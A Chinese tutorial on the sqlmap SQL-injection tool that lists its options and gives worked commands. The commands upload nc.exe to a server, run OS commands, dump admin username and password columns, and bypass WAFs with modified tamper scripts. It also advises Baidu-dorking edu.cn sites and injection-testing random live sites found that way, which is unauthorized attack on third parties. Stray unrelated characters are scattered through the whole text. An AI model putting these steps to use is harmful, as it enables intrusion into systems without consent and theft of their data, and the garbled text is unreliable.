2020-12-14超詳細(xì)SQLMap使用攻略及技巧分享

sqlmap是一個(gè)開(kāi)源的滲透測(cè)試工具疏之,可以用來(lái)進(jìn)行自動(dòng)化檢測(cè)荣病,利用SQL注入漏洞,獲取數(shù)據(jù)庫(kù)服務(wù)器的權(quán)限存捺。它具有功能強(qiáng)大的檢測(cè)引擎,針對(duì)各種不同類(lèi)型數(shù)據(jù)庫(kù)的滲透測(cè)試的功能選項(xiàng)坟漱,包括獲取數(shù)據(jù)庫(kù)中存儲(chǔ)的數(shù)據(jù)铺遂,訪問(wèn)操作系統(tǒng)文件甚至可以通過(guò)外帶數(shù)據(jù)連接的方式執(zhí)行操作系統(tǒng)命令胳嘲。

sqlmap目前最新版本為1.1.8-8甚带,相關(guān)資源如下:

官方網(wǎng)站:http://sqlmap.org/温算,

下載地址:https://github.com/sqlmapproject/sqlmap/zipball/master

演示視頻:https://asciinema.org/a/46601

教程:http://www.youtube.com/user/inquisb/videos

1.1 sqlmap簡(jiǎn)介

sqlmap支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等數(shù)據(jù)庫(kù)的各種安全漏洞檢測(cè)怜校。

sqlmap支持五種不同的注入模式:

l? 基于布爾的盲注,即可以根據(jù)返回頁(yè)面判斷條件真假的注入注竿;

l? 基于時(shí)間的盲注茄茁,即不能根據(jù)頁(yè)面返回內(nèi)容判斷任何信息,用條件語(yǔ)句查看時(shí)間延遲語(yǔ)句是否執(zhí)行(即頁(yè)面返回時(shí)間是否增加)來(lái)判斷巩割;

l? 基于報(bào)錯(cuò)注入裙顽,即頁(yè)面會(huì)返回錯(cuò)誤信息,或者把注入的語(yǔ)句的結(jié)果直接返回在頁(yè)面中宣谈;

l? 聯(lián)合查詢(xún)注入愈犹,可以使用union的情況下的注入;

l? 堆查詢(xún)注入蒲祈,可以同時(shí)執(zhí)行多條語(yǔ)句的執(zhí)行時(shí)的注入甘萧。

1.2 下載及安裝

(1)linux下git直接安裝

gitclone --depth 1?https://github.com/sqlmapproject/sqlmap.git?sqlmap-dev

(2)windows下安裝

windows下下載sqlmap的壓縮包,解壓后即可使用梆掸。但需要一些組件包的支持扬卷,需要有python2.7.x或者2.6.x環(huán)境支持。

(3)kali及PentestBox默認(rèn)安裝sqlmap

1.3 SQL使用參數(shù)詳解

本文以SQLmap 1.1.8-8版本為例酸钦,對(duì)其所有參數(shù)進(jìn)行詳細(xì)的分析和講解怪得,便于在使用時(shí)進(jìn)行查詢(xún)。

用法: sqlmap.py [選項(xiàng)]

1.3.1 選項(xiàng)

?-h,--help? 顯示基本幫助信息并退出

?-hh??? 顯示高級(jí)幫助信息并退出

?--version? 顯示程序版本信息并退出

-vVERBOSE信息級(jí)別: 0-6 (缺省1),其值具體含義:“0”只顯示python錯(cuò)誤以及嚴(yán)重的信息徒恋;1同時(shí)顯示基本信息和警告信息(默認(rèn))蚕断;“2”同時(shí)顯示debug信息;“3”同時(shí)顯示注入的payload入挣;“4”同時(shí)顯示HTTP請(qǐng)求亿乳;“5”同時(shí)顯示HTTP響應(yīng)頭;“6”同時(shí)顯示HTTP響應(yīng)頁(yè)面径筏;如果想看到sqlmap發(fā)送的測(cè)試payload最好的等級(jí)就是3葛假。

1.3.2 目標(biāo)

在這些選項(xiàng)中必須提供至少有一個(gè)確定目標(biāo)

?-d DIRECT??? 直接連接數(shù)據(jù)庫(kù)的連接字符串

-u URL, --url=URL?? 目標(biāo)URL (e.g."http://www.site.com/vuln.php?id=1"),使用-u或者--url

-l LOGFILE???? 從Burp或者WebScarab代理日志文件中分析目標(biāo)

-x SITEMAPURL? 從遠(yuǎn)程網(wǎng)站地圖(sitemap.xml)文件來(lái)解析目標(biāo)

-m BULKFILE????? 將目標(biāo)地址保存在文件中滋恬,一行為一個(gè)URL地址進(jìn)行批量檢測(cè)聊训。

-r REQUESTFILE?? 從文件加載HTTP請(qǐng)求,sqlmap可以從一個(gè)文本文件中獲取HTTP請(qǐng)求恢氯,這樣就可以跳過(guò)設(shè)置一些其他參數(shù)(比如cookie带斑,POST數(shù)據(jù),等等)勋拟,請(qǐng)求是HTTPS的時(shí)需要配合這個(gè)--force-ssl參數(shù)來(lái)使用勋磕,或者可以在Host頭后門(mén)加上:443

-g GOOGLEDORK???? 從谷歌中加載結(jié)果目標(biāo)URL(只獲取前100個(gè)結(jié)果,需要掛代理)

-c CONFIGFILE?????? 從配置ini文件中加載選項(xiàng)

1.3.3 請(qǐng)求

這些選項(xiàng)可以用來(lái)指定如何連接到目標(biāo)URL

--method=METHOD ?強(qiáng)制使用給定的HTTP方法(例如put)

??? --data=DATA? ?通過(guò)POST發(fā)送數(shù)據(jù)參數(shù)指黎,sqlmap會(huì)像檢測(cè)GET參數(shù)一樣檢測(cè)POST的參數(shù)朋凉。--data="id=1" -f --banner --dbs --users

???--param-del=PARA..? 當(dāng)GET或POST的數(shù)據(jù)需要用其他字符分割測(cè)試參數(shù)的時(shí)候需要用到此參數(shù)。

???--cookie=COOKIE???? HTTP Cookieheader 值

???--cookie-del=COO..? 用來(lái)分隔cookie的字符串值

???--load-cookies=L..? Filecontaining cookies in Netscape/wget format

???--drop-set-cookie?? IgnoreSet-Cookie header from response

--user-agent=AGENT? 默認(rèn)情況下sqlmap的HTTP請(qǐng)求頭中User-Agent值是:sqlmap/1.0-dev-xxxxxxx(http://sqlmap.org)可以使用--user-agent參數(shù)來(lái)修改醋安,同時(shí)也可以使用--random-agent參數(shù)來(lái)隨機(jī)的從./txt/user-agents.txt中獲取杂彭。當(dāng)--level參數(shù)設(shè)定為3或者3以上的時(shí)候,會(huì)嘗試對(duì)User-Angent進(jìn)行注入

???--random-agent???? 使用random-agent作為HTTP User-Agent頭值

???--host=HOST???????? HTTP Hostheader value

???--referer=REFERER?? sqlmap可以在請(qǐng)求中偽造HTTP中的referer吓揪,當(dāng)--level參數(shù)設(shè)定為3或者3以上的時(shí)候會(huì)嘗試對(duì)referer注入

???-H HEADER, --hea..? 額外的http頭(e.g."X-Forwarded-For: 127.0.0.1")

???--headers=HEADERS? 可以通過(guò)--headers參數(shù)來(lái)增加額外的http頭(e.g."Accept-Language: fr\nETag: 123")

???--auth-type=AUTH.. HTTP的認(rèn)證類(lèi)型 (Basic, Digest, NTLM or PKI)

???--auth-cred=AUTH..? HTTP 認(rèn)證憑證(name:password)

???--auth-file=AUTH..? HTTP 認(rèn)證PEM證書(shū)/私鑰文件亲怠;當(dāng)Web服務(wù)器需要客戶端證書(shū)進(jìn)行身份驗(yàn)證時(shí),需要提供兩個(gè)文件:key_file柠辞,cert_file,key_file是格式為PEM文件团秽,包含著你的私鑰,cert_file是格式為PEM的連接文件叭首。

???--ignore-401??????? Ignore HTTPError 401 (Unauthorized)忽略HTTP 401錯(cuò)誤(未授權(quán)的)

???--ignore-proxy????? 忽略系統(tǒng)的默認(rèn)代理設(shè)置

???--ignore-redirects忽略重定向的嘗試

???--ignore-timeouts?? 忽略連接超時(shí)

???--proxy=PROXY?????? 使用代理服務(wù)器連接到目標(biāo)URL

???--proxy-cred=PRO..? 代理認(rèn)證憑證(name:password)

???--proxy-file=PRO..? 從文件加載代理列表

???--tor?????????????? 使用Tor匿名網(wǎng)絡(luò)

???--tor-port=TORPORT? 設(shè)置Tor代理端口

???--tor-type=TORTYPE? 設(shè)置Tor代理類(lèi)型 (HTTP,SOCKS4 or SOCKS5 (缺省))

???--check-tor?????? 檢查T(mén)or的是否正確使用

???--delay=DELAY? ?可以設(shè)定兩個(gè)HTTP(S)請(qǐng)求間的延遲习勤,設(shè)定為0.5的時(shí)候是半秒,默認(rèn)是沒(méi)有延遲的焙格。

???--timeout=TIMEOUT?? 可以設(shè)定一個(gè)HTTP(S)請(qǐng)求超過(guò)多久判定為超時(shí)图毕,10表示10秒,默認(rèn)是30秒眷唉。

???--retries=RETRIES?? 當(dāng)HTTP(S)超時(shí)時(shí)予颤,可以設(shè)定重新嘗試連接次數(shù)囤官,默認(rèn)是3次。

???--randomize=RPARAM可以設(shè)定某一個(gè)參數(shù)值在每一次請(qǐng)求中隨機(jī)的變化蛤虐,長(zhǎng)度和類(lèi)型會(huì)與提供的初始值一樣

???--safe-url=SAFEURL? 提供一個(gè)安全不錯(cuò)誤的連接党饮,每隔一段時(shí)間都會(huì)去訪問(wèn)一下

???--safe-post=SAFE..? 提供一個(gè)安全不錯(cuò)誤的連接,每次測(cè)試請(qǐng)求之后都會(huì)再訪問(wèn)一遍安全連接驳庭。

???--safe-req=SAFER..? 從文件中加載安全HTTP請(qǐng)求

???--safe-freq=SAFE..? 測(cè)試一個(gè)給定安全網(wǎng)址的兩個(gè)訪問(wèn)請(qǐng)求

???--skip-urlencode??? 跳過(guò)URL的有效載荷數(shù)據(jù)編碼

???--csrf-token=CSR..? Parameter usedto hold anti-CSRF token參數(shù)用來(lái)保存反CSRF令牌

???--csrf-url=CSRFURL? URL地址訪問(wèn)提取anti-CSRF令牌

???--force-ssl???????? 強(qiáng)制使用SSL/HTTPS

???--hpp?????????????? 使用HTTP參數(shù)污染的方法

???--eval=EVALCODE ????在有些時(shí)候刑顺,需要根據(jù)某個(gè)參數(shù)的變化,而修改另個(gè)一參數(shù)饲常,才能形成正常的請(qǐng)求捏检,這時(shí)可以用--eval參數(shù)在每次請(qǐng)求時(shí)根據(jù)所寫(xiě)python代碼做完修改后請(qǐng)求。(e.g "import hashlib;id2=hashlib.md5(id).hexdigest()")

sqlmap.py -u"http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b"--eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

1.3.4 優(yōu)化

這些選項(xiàng)可用于優(yōu)化sqlmap性能

-o?????????????? 打開(kāi)所有的優(yōu)化開(kāi)關(guān)

--predict-output??? 預(yù)測(cè)普通查詢(xún)輸出

--keep-alive??????? 使用持久HTTP(S)連接

--null-connection?? 獲取頁(yè)面長(zhǎng)度

--threads=THREADS?? 當(dāng)前http(s)最大請(qǐng)求數(shù) (默認(rèn) 1)

1.3.5 注入

這些選項(xiàng)可用于指定要測(cè)試的參數(shù)不皆、提供自定義注入有效載荷和可選的篡改腳本。

???-p TESTPARAMETER??? 可測(cè)試的參數(shù)

???--skip=SKIP???????? 跳過(guò)對(duì)給定參數(shù)的測(cè)試

???--skip-static?????? 跳過(guò)測(cè)試不顯示為動(dòng)態(tài)的參數(shù)

???--param-exclude=..? 使用正則表達(dá)式排除參數(shù)進(jìn)行測(cè)試(e.g. "ses")

???--dbms=DBMS???????? 強(qiáng)制后端的DBMS為此值

???--dbms-cred=DBMS..? DBMS認(rèn)證憑證(user:password)

???--os=OS??????????? 強(qiáng)制后端的DBMS操作系統(tǒng)為這個(gè)值

???--invalid-bignum??? 使用大數(shù)字使值無(wú)效

???--invalid-logical?? 使用邏輯操作使值無(wú)效

???--invalid-string??? 使用隨機(jī)字符串使值無(wú)效

???--no-cast????????? 關(guān)閉有效載荷鑄造機(jī)制

???--no-escape???????? 關(guān)閉字符串逃逸機(jī)制

???--prefix=PREFIX ????注入payload字符串前綴

???--suffix=SUFFIX???? 注入payload字符串后綴

???--tamper=TAMPER?? 使用給定的腳本篡改注入數(shù)據(jù)

1.3.6 檢測(cè)

這些選項(xiàng)可以用來(lái)指定在SQL盲注時(shí)如何解析和比較HTTP響應(yīng)頁(yè)面的內(nèi)容

???--level=LEVEL???? 執(zhí)行測(cè)試的等級(jí)(1-5熊楼,默認(rèn)為1)

???--risk=RISK?????? 執(zhí)行測(cè)試的風(fēng)險(xiǎn)(0-3霹娄,默認(rèn)為1)

???--string=STRING??? 查詢(xún)時(shí)有效時(shí)在頁(yè)面匹配字符串

???--not-string=NOT..? 當(dāng)查詢(xún)求值為無(wú)效時(shí)匹配的字符串

???--regexp=REGEXP??? ?查詢(xún)時(shí)有效時(shí)在頁(yè)面匹配正則表達(dá)式

???--code=CODE?????? 當(dāng)查詢(xún)求值為T(mén)rue時(shí)匹配的HTTP代碼

???--text-only??????? 僅基于在文本內(nèi)容比較網(wǎng)頁(yè)

???--titles?????????? 僅根據(jù)他們的標(biāo)題進(jìn)行比較

1.3.7 技巧

?這些選項(xiàng)可用于調(diào)整具體的SQL注入測(cè)試

???--technique=TECH??? SQL注入技術(shù)測(cè)試(默認(rèn)BEUST)

???--time-sec=TIMESEC? DBMS響應(yīng)的延遲時(shí)間(默認(rèn)為5秒)

???--union-cols=UCOLS? 定列范圍用于測(cè)試UNION查詢(xún)注入

???--union-char=UCHAR? 暴力猜測(cè)列的字符數(shù)

???--union-from=UFROM? SQL注入U(xiǎn)NION查詢(xún)使用的格式

???--dns-domain=DNS..? DNS泄露攻擊使用的域名

???--second-order=S..? URL搜索產(chǎn)生的結(jié)果頁(yè)面

1.3.8 指紋

-f, --fingerprint?? 執(zhí)行廣泛的DBMS版本指紋檢查

1.3.9 枚舉

這些選項(xiàng)可以用來(lái)列舉后端數(shù)據(jù)庫(kù)管理系統(tǒng)的信息、表中的結(jié)構(gòu)和數(shù)據(jù)鲫骗。此外犬耻,您還可以運(yùn)行自定義的SQL語(yǔ)句。

???-a, --all?????????? 獲取所有信息

???-b, --banner??????? 獲取數(shù)據(jù)庫(kù)管理系統(tǒng)的標(biāo)識(shí)

???--current-user????? 獲取數(shù)據(jù)庫(kù)管理系統(tǒng)當(dāng)前用戶

???--current-db??????? 獲取數(shù)據(jù)庫(kù)管理系統(tǒng)當(dāng)前數(shù)據(jù)庫(kù)

??? --hostname???????? 獲取數(shù)據(jù)庫(kù)服務(wù)器的主機(jī)名稱(chēng)

???--is-dba??????????? 檢測(cè)DBMS當(dāng)前用戶是否DBA

???--users???????????? 枚舉數(shù)據(jù)庫(kù)管理系統(tǒng)用戶

???--passwords???????? 枚舉數(shù)據(jù)庫(kù)管理系統(tǒng)用戶密碼哈希

???--privileges??????? 枚舉數(shù)據(jù)庫(kù)管理系統(tǒng)用戶的權(quán)限

???--roles??????????? 枚舉數(shù)據(jù)庫(kù)管理系統(tǒng)用戶的角色

???--dbs???????????? 枚舉數(shù)據(jù)庫(kù)管理系統(tǒng)數(shù)據(jù)庫(kù)

???--tables??????????? 枚舉的DBMS數(shù)據(jù)庫(kù)中的表

???--columns????????? 枚舉DBMS數(shù)據(jù)庫(kù)表列

???--schema??????????? 枚舉數(shù)據(jù)庫(kù)架構(gòu)

???--count???????????? 檢索表的項(xiàng)目數(shù)执泰,有時(shí)候用戶只想獲取表中的數(shù)據(jù)個(gè)數(shù)而不是具體的內(nèi)容枕磁,那么就可以使用這個(gè)參數(shù):sqlmap.py?-u url --count?-D?testdb

???--dump??????????? 轉(zhuǎn)儲(chǔ)數(shù)據(jù)庫(kù)表項(xiàng)

??? --dump-all????????? 轉(zhuǎn)儲(chǔ)數(shù)據(jù)庫(kù)所有表項(xiàng)

???--search?????????? 搜索列(S),表(S)和/或數(shù)據(jù)庫(kù)名稱(chēng)(S)

???--comments????????? 獲取DBMS注釋

???-D DB?????????????? 要進(jìn)行枚舉的指定數(shù)據(jù)庫(kù)名

???-T TBL????????????? DBMS數(shù)據(jù)庫(kù)表枚舉

???-C COL???????????? DBMS數(shù)據(jù)庫(kù)表列枚舉

???-X EXCLUDECOL???? DBMS數(shù)據(jù)庫(kù)表不進(jìn)行枚舉

???-U USER?????????? 用來(lái)進(jìn)行枚舉的數(shù)據(jù)庫(kù)用戶

???--exclude-sysdbs??? 枚舉表時(shí)排除系統(tǒng)數(shù)據(jù)庫(kù)

???--pivot-column=P..? Pivot columnname

???--where=DUMPWHERE?? Use WHEREcondition while table dumping

???--start=LIMITSTART? 獲取第一個(gè)查詢(xún)輸出數(shù)據(jù)位置

???--stop=LIMITSTOP?? 獲取最后查詢(xún)的輸出數(shù)據(jù)

???--first=FIRSTCHAR?? 第一個(gè)查詢(xún)輸出字的字符獲取

???--last=LASTCHAR??? 最后查詢(xún)的輸出字字符獲取

???--sql-query=QUERY?? 要執(zhí)行的SQL語(yǔ)句

???--sql-shell???????? 提示交互式SQL的shell

???--sql-file=SQLFILE? 要執(zhí)行的SQL文件

1.3.10 暴力

這些選項(xiàng)可以被用來(lái)運(yùn)行暴力檢查

???--common-tables???? 檢查存在共同表

???--common-columns??? 檢查存在共同列

1.3.11 用戶自定義函數(shù)注入

這些選項(xiàng)可以用來(lái)創(chuàng)建用戶自定義函數(shù)

???--udf-inject??? 注入用戶自定義函數(shù)

???--shared-lib=SHLIB? 共享庫(kù)的本地路徑

1.3.12 訪問(wèn)文件系統(tǒng)

這些選項(xiàng)可以被用來(lái)訪問(wèn)后端數(shù)據(jù)庫(kù)管理系統(tǒng)的底層文件系統(tǒng)

???--file-read=RFILE?? 從后端的數(shù)據(jù)庫(kù)管理系統(tǒng)文件系統(tǒng)讀取文件术吝,SQL Server2005中讀取二進(jìn)制文件example.exe:

sqlmap.py -u"http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther"--file-read "C:/example.exe" -v 1

???--file-write=WFILE? 編輯后端的數(shù)據(jù)庫(kù)管理系統(tǒng)文件系統(tǒng)上的本地文件

???--file-dest=DFILE?? 后端的數(shù)據(jù)庫(kù)管理系統(tǒng)寫(xiě)入文件的絕對(duì)路徑

在kali中將/software/nc.exe文件上傳到C:/WINDOWS/Temp下:

python sqlmap.py -u"http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write"/software/nc.exe" --file-dest "C:/WINDOWS/Temp/nc.exe" -v1

1.3.13 操作系統(tǒng)訪問(wèn)

這些選項(xiàng)可以用于訪問(wèn)后端數(shù)據(jù)庫(kù)管理系統(tǒng)的底層操作系統(tǒng)

???--os-cmd=OSCMD?? 執(zhí)行操作系統(tǒng)命令(OSCMD)

???--os-shell????????? 交互式的操作系統(tǒng)的shell

???--os-pwn????????? 獲取一個(gè)OOB shell计济,meterpreter或VNC

???--os-smbrelay?????? 一鍵獲取一個(gè)OOBshell,meterpreter或VNC

???--os-bof?????????? 存儲(chǔ)過(guò)程緩沖區(qū)溢出利用

???--priv-esc????????? 數(shù)據(jù)庫(kù)進(jìn)程用戶權(quán)限提升

???--msf-path=MSFPATH? MetasploitFramework本地的安裝路徑

???--tmp-path=TMPPATH? 遠(yuǎn)程臨時(shí)文件目錄的絕對(duì)路徑

linux查看當(dāng)前用戶命令:

sqlmap.py -u"http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --os-cmd id -v1

1.3.14 Windows注冊(cè)表訪問(wèn)

這些選項(xiàng)可以被用來(lái)訪問(wèn)后端數(shù)據(jù)庫(kù)管理系統(tǒng)Windows注冊(cè)表

???--reg-read????????? 讀一個(gè)Windows注冊(cè)表項(xiàng)值

???--reg-add?????????? 寫(xiě)一個(gè)Windows注冊(cè)表項(xiàng)值數(shù)據(jù)

???--reg-del?????????? 刪除Windows注冊(cè)表鍵值

???--reg-key=REGKEY??? Windows注冊(cè)表鍵

???--reg-value=REGVAL? Windows注冊(cè)表項(xiàng)值

???--reg-data=REGDATA? Windows注冊(cè)表鍵值數(shù)據(jù)

???--reg-type=REGTYPE? Windows注冊(cè)表項(xiàng)值類(lèi)型

1.3.15 一般選項(xiàng)

這些選項(xiàng)可以用來(lái)設(shè)置一些一般的工作參數(shù)

???-s SESSIONFILE???? 保存和恢復(fù)檢索會(huì)話文件的所有數(shù)據(jù)

???-t TRAFFICFILE????? 記錄所有HTTP流量到一個(gè)文本文件中

???--batch??????????? 從不詢(xún)問(wèn)用戶輸入排苍,使用所有默認(rèn)配置沦寂。

???--binary-fields=..? 結(jié)果字段具有二進(jìn)制值(e.g."digest")

???--charset=CHARSET?? 強(qiáng)制字符編碼

???--crawl=CRAWLDEPTH? 從目標(biāo)URL爬行網(wǎng)站

???--crawl-exclude=..? 正則表達(dá)式從爬行頁(yè)中排除

???--csv-del=CSVDEL??? 限定使用CSV輸出 (default",")

???--dump-format=DU..? 轉(zhuǎn)儲(chǔ)數(shù)據(jù)格式(CSV(default), HTML or SQLITE)

???--eta????????????? 顯示每個(gè)輸出的預(yù)計(jì)到達(dá)時(shí)間

???--flush-session???? 刷新當(dāng)前目標(biāo)的會(huì)話文件

???--forms?????????? 解析和測(cè)試目標(biāo)URL表單

??? --fresh-queries???? 忽略在會(huì)話文件中存儲(chǔ)的查詢(xún)結(jié)果

???--hex???????????? 使用DBMS Hex函數(shù)數(shù)據(jù)檢索

???--output-dir=OUT..? 自定義輸出目錄路徑

???--parse-errors????? 解析和顯示響應(yīng)數(shù)據(jù)庫(kù)錯(cuò)誤信息

???--save=SAVECONFIG?? 保存選項(xiàng)到INI配置文件

???--scope=SCOPE??? 從提供的代理日志中使用正則表達(dá)式過(guò)濾目標(biāo)

???--test-filter=TE..? 選擇測(cè)試的有效載荷和/或標(biāo)題(e.g. ROW)

???--test-skip=TEST..? 跳過(guò)試驗(yàn)載荷和/或標(biāo)題(e.g.BENCHMARK)

???--update??????????? 更新sqlmap

1.3.16 其他

???-z MNEMONICS??????? 使用短記憶法 (e.g."flu,bat,ban,tec=EU")

???--alert=ALERT?????? 發(fā)現(xiàn)SQL注入時(shí),運(yùn)行主機(jī)操作系統(tǒng)命令

--answers=ANSWERS?? 當(dāng)希望sqlmap提出輸入時(shí)淘衙,自動(dòng)輸入自己想要的答案(e.g. "quit=N,follow=N")传藏,例如:sqlmap.py -u"http://192.168.22.128/get_int.php?id=1"--technique=E--answers="extending=N"? ? --batch

???--beep??? 發(fā)現(xiàn)sql注入時(shí),發(fā)出蜂鳴聲彤守。

???--cleanup???? 清除sqlmap注入時(shí)在DBMS中產(chǎn)生的udf與表毯侦。

???--dependencies????? Check formissing (non-core) sqlmap dependencies

???--disable-coloring? 默認(rèn)彩色輸出,禁掉彩色輸出具垫。

???--gpage=GOOGLEPAGE 使用前100個(gè)URL地址作為注入測(cè)試侈离,結(jié)合此選項(xiàng),可以指定頁(yè)面的URL測(cè)試

???--identify-waf????? 進(jìn)行WAF/IPS/IDS保護(hù)測(cè)試做修,目前大約支持30種產(chǎn)品的識(shí)別

???--mobile???? 有時(shí)服務(wù)端只接收移動(dòng)端的訪問(wèn)霍狰,此時(shí)可以設(shè)定一個(gè)手機(jī)的User-Agent來(lái)模仿手機(jī)登陸抡草。

???--offline?????????? Work inoffline mode (only use session data)

???--purge-output???? 從輸出目錄安全刪除所有內(nèi)容,有時(shí)需要?jiǎng)h除結(jié)果文件蔗坯,而不被恢復(fù)康震,可以使用此參數(shù),原有文件將會(huì)被隨機(jī)的一些文件覆蓋宾濒。

???--skip-waf????????? ?跳過(guò)WAF/IPS / IDS啟發(fā)式檢測(cè)保護(hù)

???--smart??????????? 進(jìn)行積極的啟發(fā)式測(cè)試腿短,快速判斷為注入的報(bào)錯(cuò)點(diǎn)進(jìn)行注入

???--sqlmap-shell????? 互動(dòng)提示一個(gè)sqlmapshell

???--tmp-dir=TMPDIR??? 用于存儲(chǔ)臨時(shí)文件的本地目錄

???--web-root=WEBROOT? Web服務(wù)器的文檔根目錄(e.g."/var/www")

???--wizard?? 新手用戶簡(jiǎn)單的向?qū)褂茫梢砸徊揭徊浇棠闳绾屋斎脶槍?duì)目標(biāo)注入

1.4 實(shí)際利用

1.4.1 檢測(cè)和利用SQL注入

1.手工判斷是否存在漏洞

對(duì)動(dòng)態(tài)網(wǎng)頁(yè)進(jìn)行安全審計(jì)绘梦,通過(guò)接受動(dòng)態(tài)用戶提供的GET橘忱、POST、Cookie參數(shù)值卸奉、User-Agent請(qǐng)求頭钝诚。

原始網(wǎng)頁(yè):http://192.168.136.131/sqlmap/mysql/get_int.php?id=1

構(gòu)造url1:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=1

構(gòu)造url2:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=2

如果url1訪問(wèn)結(jié)果跟原始網(wǎng)頁(yè)一致,而url2跟原始網(wǎng)頁(yè)不一致榄棵,有出錯(cuò)信息或者顯示內(nèi)容不一致凝颇,則證明存在SQL注入。

2. sqlmap自動(dòng)檢測(cè)

檢測(cè)語(yǔ)法:sqlmap.py -u?http://192.168.136.131/sqlmap/mysql/get_int.php?id=1

技巧:在實(shí)際檢測(cè)過(guò)程中疹鳄,sqlmap會(huì)不停的詢(xún)問(wèn)拧略,需要手工輸入Y/N來(lái)進(jìn)行下一步操作,可以使用參數(shù)“--batch”命令來(lái)自動(dòng)答復(fù)和判斷瘪弓。

3. 尋找和判斷實(shí)例

通過(guò)百度對(duì)“inurl:news.asp?id=site:edu.cn”垫蛆、“inurl:news.php?id= site:edu.cn”、“inurl:news.aspx?id=site:edu.cn”進(jìn)行搜索腺怯,搜索news.php/asp/aspx袱饭,站點(diǎn)為edu.cn,如圖1所示呛占。隨機(jī)打開(kāi)一個(gè)網(wǎng)頁(yè)搜索結(jié)果宁赤,如圖2所示,如果能夠正常訪問(wèn)栓票,則復(fù)制該URL地址决左。

圖1搜索目標(biāo)

圖2測(cè)試網(wǎng)頁(yè)能否正常訪問(wèn)

? 將該url使用sqlmap進(jìn)行注入測(cè)試,如圖3所示走贪,測(cè)試結(jié)果可能存在SQL注入佛猛,也可能不存在SQL注入,存在則可以進(jìn)行數(shù)據(jù)庫(kù)名稱(chēng)坠狡,數(shù)據(jù)庫(kù)表以及數(shù)據(jù)的操作继找。本例中是不存在SQL注入漏洞。

圖3檢測(cè)URL地址是否存在漏洞

4. 批量檢測(cè)

將目標(biāo)url搜集并整理為txt文件逃沿,如圖4所示婴渡,所有文件都保存為tg.txt幻锁,然后使用“sqlmap.py-m tg.txt”,注意tg.txt跟sqlmap在同一個(gè)目錄下边臼。

圖4批量整理目標(biāo)地址

1.4.2 直接連接數(shù)據(jù)庫(kù)

sqlmap.py -d"mysql://admin:admin@192.168.21.17:3306/testdb" -f --banner --dbs--users

1.4.3數(shù)據(jù)庫(kù)相關(guān)操作

1.列數(shù)據(jù)庫(kù)信息:--dbs

2.web當(dāng)前使用的數(shù)據(jù)庫(kù)--current-db

3.web數(shù)據(jù)庫(kù)使用賬戶--current-user

4.列出sqlserver所有用戶 --users

5.數(shù)據(jù)庫(kù)賬戶與密碼 --passwords

6.指定庫(kù)名列出所有表 ?-D database --tables

-D:指定數(shù)據(jù)庫(kù)名稱(chēng)

7.指定庫(kù)名表名列出所有字段 -D antian365-T admin --columns

-T:指定要列出字段的表

8.指定庫(kù)名表名字段dump出指定字段

-D secbang_com -T admin -C? id,password ,username --dump

-D antian365 -T userb -C"email,Username,userpassword" --dump

? 可加雙引號(hào)哄尔,也可不加雙引號(hào)。

9.導(dǎo)出多少條數(shù)據(jù)

-D tourdata -T userb -C"email,Username,userpassword" --start 1 --stop 10 --dump?

參數(shù):

--start:指定開(kāi)始的行

--stop:指定結(jié)束的行

此條命令的含義為:導(dǎo)出數(shù)據(jù)庫(kù)tourdata中的表userb中的字段(email,Username,userpassword)中的第1到第10行的數(shù)據(jù)內(nèi)容柠并。

1.5 SQLMAP實(shí)用技巧

1. mysql的注釋方法進(jìn)行繞過(guò)WAF進(jìn)行SQL注入

(1)修改C:\Python27\sqlmap\tamper\halfversionedmorekeywords.py

return match.group().replace(word,"/*!0%s" % word) 為:

return match.group().replace(word,"/*!50000%s*/" % word)

(2)修改C:\Python27\sqlmap\xml\queries.xml

<cast query="CAST(%s ASCHAR)"/>為:

<castquery="convert(%s,CHAR)"/>

(3)使用sqlmap進(jìn)行注入測(cè)試

sqlmap.py -u"http://**.com/detail.php? id=16" –tamper "halfversionedmorekeywords.py"

其它繞過(guò)waf腳本方法:

sqlmap.py-u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tampertamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

(4)tamper目錄下文件具體含義:

space2comment.py用/**/代替空格

apostrophemask.py用utf8代替引號(hào)

equaltolike.pylike代替等號(hào)

space2dash.py 繞過(guò)過(guò)濾‘=’ 替換空格字符(”)岭接,(’–‘)后跟一個(gè)破折號(hào)注釋?zhuān)粋€(gè)隨機(jī)字符串和一個(gè)新行(’n’)

greatest.py 繞過(guò)過(guò)濾’>’ ,用GREATEST替換大于號(hào)。

space2hash.py空格替換為#號(hào),隨機(jī)字符串以及換行符

apostrophenullencode.py繞過(guò)過(guò)濾雙引號(hào)臼予,替換字符和雙引號(hào)鸣戴。

halfversionedmorekeywords.py當(dāng)數(shù)據(jù)庫(kù)為mysql時(shí)繞過(guò)防火墻,每個(gè)關(guān)鍵字之前添加mysql版本評(píng)論

space2morehash.py空格替換為 #號(hào) 以及更多隨機(jī)字符串 換行符

appendnullbyte.py在有效負(fù)荷結(jié)束位置加載零字節(jié)字符編碼

ifnull2ifisnull.py 繞過(guò)對(duì)IFNULL過(guò)濾,替換類(lèi)似’IFNULL(A,B)’為’IF(ISNULL(A), B, A)’

space2mssqlblank.py(mssql)空格替換為其它空符號(hào)

base64encode.py 用base64編碼替換

space2mssqlhash.py 替換空格

modsecurityversioned.py過(guò)濾空格粘拾,包含完整的查詢(xún)版本注釋

space2mysqlblank.py 空格替換其它空白符號(hào)(mysql)

between.py用between替換大于號(hào)(>)

space2mysqldash.py替換空格字符(”)(’ – ‘)后跟一個(gè)破折號(hào)注釋一個(gè)新行(’ n’)

multiplespaces.py圍繞SQL關(guān)鍵字添加多個(gè)空格

space2plus.py用+替換空格

bluecoat.py代替空格字符后與一個(gè)有效的隨機(jī)空白字符的SQL語(yǔ)句,然后替換=為like

nonrecursivereplacement.py雙重查詢(xún)語(yǔ)句,取代SQL關(guān)鍵字

space2randomblank.py代替空格字符(“”)從一個(gè)隨機(jī)的空白字符可選字符的有效集

sp_password.py追加sp_password’從DBMS日志的自動(dòng)模糊處理的有效載荷的末尾

chardoubleencode.py雙url編碼(不處理以編碼的)

